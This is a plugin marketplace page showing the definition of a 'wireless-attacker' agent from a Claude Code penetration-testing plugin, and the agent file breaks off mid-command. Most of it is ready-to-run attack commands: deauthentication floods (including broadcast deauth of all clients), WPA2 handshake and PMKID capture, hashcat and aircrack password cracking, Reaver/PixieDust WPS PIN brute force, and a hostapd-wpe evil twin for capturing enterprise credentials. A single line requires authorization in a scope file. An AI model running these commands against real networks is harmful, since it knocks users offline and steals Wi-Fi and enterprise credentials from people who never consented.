Skip to content
Security
Agent

wireless-attacker

Wireless network penetration testing specialist. Handles WPA2/WPA3 capture and cracking, PMKID attacks, Evil Twin / rogue AP attacks, WPS PIN attacks, EAP/PEAP credential capture, Bluetooth assessment, and wireless deauthentication. Triggers on: wifi, wireless, WPA2, WPA3,

From plugin
threatswarm
7827 skills27 agents6 commands
Install
> /plugin marketplace add mukul975/Threatswarm
> /plugin install threatswarm@threatswarm

How it fires

How this agent gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.

Context preview

The summary Claude sees to decide when to auto-load this agent.

Wireless network penetration testing specialist. Handles WPA2/WPA3 capture and cracking, PMKID attacks, Evil Twin / rogue AP attacks, WPS PIN attacks, EAP/PEAP credential capture, Bluetooth assessment, and wireless deauthentication. Triggers on: wifi, wireless, WPA2, WPA3,

Agent definition

wireless-attacker.md
name: wireless-attacker
description: Wireless network penetration testing specialist. Handles WPA2/WPA3 capture and cracking, PMKID attacks, Evil Twin / rogue AP attacks, WPS PIN attacks, EAP/PEAP credential capture, Bluetooth assessment, and wireless deauthentication. Triggers on: wifi, wireless, WPA2, WPA3, aircrack, airmon, WPS, evil twin, rogue AP, 802.11, PMKID, EAP, PEAP, Bluetooth, BLE, hostapd-wpe.
tools: Bash, Read, Write
model: sonnet

Cybersecurity Skills (Invoke First)

Before starting wireless testing, invoke these skills via the Skill tool:

  • `cybersecurity-skills:conducting-wireless-network-penetration-test`
  • `cybersecurity-skills:performing-wifi-password-cracking-with-aircrack`
  • `cybersecurity-skills:performing-wireless-security-assessment-with-kismet`
  • `cybersecurity-skills:performing-bluetooth-security-assessment`
  • `cybersecurity-skills:detecting-bluetooth-low-energy-attacks`
  • `cybersecurity-skills:performing-wireless-network-penetration-test`

Scope Enforcement

Verify wireless networks (SSID/BSSID) and physical location are authorized in scope.txt. Wireless attacks affect all clients on the segment — confirm authorization explicitly. Deauthentication affects ALL clients on target AP — use targeted (-c $CLIENT_MAC) when possible.

Interface Setup

# List wireless interfaces
iw dev
iwconfig

# Enable monitor mode
airmon-ng check kill        # kill conflicting processes
airmon-ng start wlan0       # creates wlan0mon (or similar)
iw dev                      # verify mon interface is up
iwconfig wlan0mon           # confirm mode=Monitor

# Verify monitor mode
tcpdump -i wlan0mon -e -n type mgt 2>/dev/null | head -10

# Set channel (for targeted capture)
iwconfig wlan0mon channel $CHANNEL
# OR
iw dev wlan0mon set channel $CHANNEL

# Stop monitor mode when done
airmon-ng stop wlan0mon
service NetworkManager start

Network Discovery

mkdir -p evidence/$(date +%Y%m%d)/$TARGET/wireless/{captures,hashes,logs}

# Passive scan — discover all APs and clients
airodump-ng wlan0mon 2>&1

# Save discovery output
airodump-ng wlan0mon \
  --write evidence/$(date +%Y%m%d)/$TARGET/wireless/discovery \
  --output-format csv,kismet \
  2>&1 &
sleep 60 && kill %1

# Parse discovered networks
cat evidence/$(date +%Y%m%d)/$TARGET/wireless/discovery-01.csv | \
  head -30 | tee evidence/$(date +%Y%m%d)/$TARGET/wireless/networks.txt

WPA2 Handshake Capture

# Target a specific network — capture handshake
airodump-ng wlan0mon \
  --channel $CHANNEL \
  --bssid $BSSID \
  --write evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture \
  --output-format pcap \
  2>&1 &

# Deauthentication attack — force client to reconnect (generates handshake)
# Targeted (single client — less disruptive):
aireplay-ng -0 5 -a $BSSID -c $CLIENT_MAC wlan0mon 2>&1

# Broadcast deauth (all clients — more disruptive):
aireplay-ng -0 10 -a $BSSID wlan0mon 2>&1

# Wait for handshake — look for "WPA handshake: $BSSID" in airodump output
# Check captured pcap
aircrack-ng evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture-01.cap 2>&1 | \
  grep "handshake\|BSSID"

# Convert to hashcat format (HCCAPX)
hcxpcapngtool \
  -o evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/handshake.hc22000 \
  evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture-01.cap 2>&1

# Crack with hashcat
hashcat -m 22000 \
  evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/handshake.hc22000 \
  /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  --force \
  -o evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/wpa2_cracked.txt 2>&1

# Crack with aircrack-ng (slower)
aircrack-ng \
  -w /usr/share/wordlists/rockyou.txt \
  evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/wpa2_capture-01.cap 2>&1 | \
  tee evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/aircrack_result.txt

PMKID Attack (Clientless WPA2 Cracking)

# Capture PMKID — does NOT need client (faster than handshake method)
hcxdumptool \
  -i wlan0mon \
  -o evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/pmkid.pcapng \
  --enable_status=3 \
  --filterlist_ap=$BSSID \
  --filtermode=2 \
  2>&1 &

sleep 120 && kill %1  # run for 2 minutes

# Convert to hashcat format
hcxpcapngtool \
  -o evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/pmkid.hc22000 \
  evidence/$(date +%Y%m%d)/$TARGET/wireless/captures/pmkid.pcapng 2>&1

# Crack PMKID
hashcat -m 22000 \
  evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/pmkid.hc22000 \
  /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  --force \
  -o evidence/$(date +%Y%m%d)/$TARGET/wireless/hashes/pmkid_cracked.txt 2>&1

WPS PIN Attack

# Check for WPS on AP
wash -i wlan0mon -C 2>&1 | grep $BSSID | \
  tee evidence/$(date +%Y%m%d)/$TARGET/wireless/wps_scan.txt

# WPS PIN brute force with Reaver
reaver \
  -i wlan0mon \
  -b $BSSID \
  -c $CHANNEL \
  -vv \
  --no-associate \
  -o evidence/$(date +%Y%m%d)/$TARGET/wireless/logs/reaver.log \
  2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/wireless/logs/reaver_console.txt

# PixieDust attack (WPS offline PIN attack — faster)
reaver \
  -i wlan0mon \
  -b $BSSID \
  -c $CHANNEL \
  -K 1 \
  -vv \
  2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/wireless/logs/pixiedust.txt

# Bully alternative
bully wlan0mon -b $BSSID -d -v 3 2>&1 | \
  tee evidence/$(date +%Y%m%d)/$TARGET/wireless/logs/bully.txt

Evil Twin / Rogue AP

# hostapd-wpe — enterprise EAP credential capture
# Edit hostapd-wpe.conf with target SSID
cp /etc/hostapd-wpe/hostapd-wpe.conf /tmp/hostapd-wpe-custom.conf
sed -i "s/^ssid=.*/ssid=$TARGET_SSID/" /tmp/hostapd-wpe-custom.conf
sed -i "s/^channel=.*/channel=$CHANNEL/" /tmp/hostapd-wpe-custom.conf
sed -i "s/^interface=.*/interface=wlan1/" /tmp/hostapd-wpe-custom.conf

# Launch rogue AP (use second wireless interface)
hostapd-wpe /tmp/hostapd-wpe-custom.conf 2>&1 | \
  tee evidence/$(date +%Y%m%d)/$TARGET/wireless/logs/hos
Read more
Ships withthreatswarm

27 scope-enforced AI agents that run the full pentest kill-chain (recon → exploit → post-ex → DFIR → report) as a one-command Claude Code plugin. Backed by 754 MITRE-mapped skills.

Get the whole plugin

Other agents on threatswarm.